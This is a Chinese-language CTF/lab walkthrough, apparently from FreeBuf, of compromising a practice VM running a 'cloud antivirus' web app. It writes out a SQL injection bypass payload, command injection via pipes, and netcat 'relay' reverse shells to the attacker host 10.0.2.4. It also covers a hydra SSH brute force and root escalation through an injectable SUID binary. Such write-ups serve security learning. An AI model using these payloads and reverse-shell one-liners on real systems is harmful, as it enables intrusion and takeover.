天下第一
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
这是第2个打靶记录,算是一个低难度级别的靶机。虽说难度级别为低,但是从还原整个渗透过程的角度来看,这个靶机非常全面。在这次打靶过程中,将使用到以下攻击手段:
端口扫描 WEB侦查 SQL注入 命令注入 密码爆破 代码审计 NC串联 本地提权
背景:我的kali地址是10.0.2.5,靶机地址是10.0.2.6
靶场1我们用到arp-scan工具可以扫描网段ip,但是今天再演示另外一款工具主机的发现:arping。arp-scan更倾向于渗透测试使用,但是arping几乎在所有linux发行版都存在,所以广泛度来说这个工具可以在更多环境下,因为很多情况下目标机没有arp-scan这个工具,不过arping也有自己的短板:网段扫描需要结合shell脚本(我这就就扫描1-10,因为我知道靶机ip在这个段内,就不扫那么多。正常扫描网段应该是254,同时设置-c 2指定回两个ping包给我)。
靶机是这个10.0.2.6(其它返回包的是我本地其他机器,这里不做解释了)
接着对靶机ip的端口用nmap扫描看看开放哪些服务端口:
可以看到开放了两个端口,一个是22,一个是8080(这是个http的web服务,可以访问)。
页面展示这是一个云防服务病毒扫描程序,需要输入邀请码才能够登录。类似于需要密码来认证。这时候我们可以想到两种方式,一种就是通过注入漏洞来绕过,还有一种就是暴力破解密码。我们先尝试第二种,利用burpsuite抓包工具来暴力破解(不要忘了burpsuite和浏览器都设置ip,我这里设置127.0.0.1:8080):
可以看到能够抓包,通过intruder模块添加字典进行暴力破解(我这里没有字典,我就临时加了几个符号,尤其是单引号,双引号这一类的,可能触发闭合语句造成sql注入漏洞,导致页面报错会带出信息)。
通过跑完这些字典,发现果然在双引号的地方响应和其他字符都不一样的结果。
不仅爆出了很多服务器路径信息,再下面一行还爆出sql语句我们知道上传的双引号被拼接到这个语句当中(我们输入的双引号和前面的双引号形成闭合,导致语法错误报错)。
Select * from code where password=”; + password + “ + “;
所以我们可以构造一个payload(做一个or这个逻辑或语句来尝试):
“ or 1=1 --
很显然注入成功了。返回出了所有信息。这就是它云病毒查杀的功能,可以指定那些命令去做一些功能提交到服务端,服务端针对提交的信息来执行防病毒的查杀。
我们可以猜想它是怎么工作的?首先它肯定是个linux系统,根据信息就能看出来。
然后这些指令呢?比如我输入一个hello这个指令,它会不会就是带到服务器里面用一个扫描程序来扫描hello这个文件是否有病毒?我们假设用一个单词”scan”代替这个执行扫描的命令,也就是说输入一个hello提交的时候,系统会执行类似这种:scan hello
也就是执行一个shell命令的功能。
得到这个构想之后,接下来我们想一下有什么利用点呢?使用过shell命令行的同学应该知道管道符可以连接多条命令,那么我们能不能在”scan hello”这个命令之后加上一些其它的操作呢?比如 scan hello | id、scan hello | ls 等等。
事实证明可以运行,那么我们是不是可以直接反弹shell到kali上呢?这一幕是不是和靶场1的很相似呢,而且我们端口扫描这个8080端口服务也是python语言的,python2版本的,
如果用靶场1的那段代码是可以反弹shell操作。
不过这次我想给大家带点不一样的知识点(如果都是一种操作大家也学不到太多东西)。
我们可以利用nc程序反弹shell
先判断是否存在这个nc程序:
表示存在nc程序。
同样在kali上面开启监听,在另一端这边反弹shell:
发现失败了,为什么呢?在这里给大家普及一下知识点:
在不同的linux发行版当中,每一个发行版都会使用不同的nc,有的版本的nc当中不包含-e这个参数的。也就用不了这个参数,那么怎么反弹shell呢?这就用到一个”nc串联”
hello | 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444
可以看到我监听的两个端口,而且我在3333端口下输入命令,能够在4444端口下查看到返回信息:
我来重新解读一下这个“nc串联代码”
hello | nc 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444
首先通过nc的3333端口和kali建立一个连接,这时候我发送在3333端口下的命令会通过管道发送到/bin/bash来解析,解析结果会通过管道再和kali的4444端口,于是就看到了上面的结果。
(nc小工具还有其他很多功能,在之后的文章中有机会再给大家介绍)
通过反弹shell成功,我们再接着探测目标主机上面的信息,先看下文件信息有哪些:
发现了这两个可能有用的文件,打开查看一下,这个app.py看了没太多作用,而这个database.sql文件是个数据库文件,里面是否包含一些机密的内容?我们有理由去查看。
通过file命令查看:
(sqlite是一个本地数据库,它的数据库都是以本地文件的形式存放在一些目录下的)
我们执行一下sqlite,发现失败,既然对方服务器没有数据库解析环境的话。那么我们就把它下载到自己的本机kali中查看。
可以通过ls命令查看下载到我kali上了,接着利用sqlite3(kali自带)命令运行,并查看文件出现一个字段:password,里面有4个值。
这时候我们再想一下,既然又是账户密码这种信息,肯定又是存在登录的地方可以利用。什么地方登录呢?熟悉靶场1的就知道,ssh服务可以远程登陆(因为扫描端口的时候22端口是开放的,ssh服务默认端口是22),除此之外,没有其他地方了。
那么现在缺少账户,我们之前已经反弹shell了,是不是可以查看目标机上面的所有账户呢?
我们可以将所有账户和所有密码组合成一个字典,然后去ssh远程登陆:
先查看所有密码,再筛选”可以通过shell登陆系统”的账户:
可以看到有root、cloudav、scanner这三个用户,然后创建一个用户文件和密码文件,分别给用户和那4个密码放进去:
然后利用hydra(名为九头蛇,支持众多协议的爆破工具)这个工具进行爆破登陆ssh服务:
很遗憾,失败了。没有一个能匹配登陆上去的。
我为什么要把这个失败的过程也演示给大家看呢,因为在真实的渗透环境中,会收集到看似很有用的信息,比如账户密码,当我们去尝试的时候往往会失败,其实看似失败的攻击其实也是我们渗透测试的一部分。所以虽然是失败的尝试,我也觉得有必要给大家演示一下。当我们收集到这类信息的时候,做这类尝试是非常有必要的。
于是我们接着寻找信息,利用之前反弹的shell继续查看目标机的一些目录和文件。具体演示过程就不展示了,我直接看重点:
可以看到有两个文件(一个多个.c的扩展),而且这个文件有是可执行权限,带有s,是suid缩写,说明存在权限位,查看一下源码:
很显然看到这是个C语言,首先是包含一些头文件,然后就是我箭头的地方。定义了一个变量,然后指向freshclam这个文件,如果在linux系统中使用过ClamAV开源的杀毒软件的同学,那么大家对这个文件一定不陌生,这个文件就是给ClamAV病毒库升级使用的一个程序。
接下来程序定义了一个执行参数,如果说不包含参数的话,在屏幕上显示这个信息”his tool lets you update antivirus rules\nPlease supply command line arguments for freshclam”要求我们提供一个命令行的参数,这样freshclam才能正常执行病毒库的更新。如果我们执行这个程序过程中正确的使用了这个运行参数,那么程序就会正常执行freshclam这个病毒库的更新。
简单了解了源码之后我们发现代码很简单,它仅仅是调用了freshclam这么一个程序,同时
强制要求freshclam在命令行上添加一个运行参数。
我们尝试先随便执行一个指令a,这时候日志报错,我们不知道这个日志报错会不会影响我们渗透的结果,还是说执行没问题,只是日志报错?亦或者是日志报错,命令执行就执行不了?
很多时候我们获得的信息也不完整。所以很多情况下我们需要大胆的去尝试。去按照我们头脑中构想的思路,去通过实践来验证我们的攻击思路。
所以接下来 我们大胆尝试一下,想利用suid权限位达到一个反弹shell的连接效果,我们可以这样构建payload:./update_cloudav “a|nc 10.0.2.4 6666 | /bin/bash | nc 10.0.2.4 7777
再次利用之前说的”nc串联”必杀技:
到此成功反弹shell了,用id查看是root权限。结束!
复盘总结:首先是对主机发现,当发现主机ip地址之后我们对它进行端口扫描以及服务发现,进而发web服务,访问发现sql注入漏洞()利用注入漏洞进入后台页面,又在后台页面发现命令注入漏洞。于是利用注入漏洞反弹shell,这时候不是root权限,需要想办法提权,于是在目标靶机上继续信息收集,发现了数据库文件里面带有密码,然后再找账户名,通过hydra去爆破破解ssh服务远程登陆。失败了。于是再信息收集,终于发现一个拥有SUID权限的执行程序,然后通过代码审计发现一些问题,并且找到了利用这个漏洞的攻击方式,最终取得了目标靶机的root权限。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)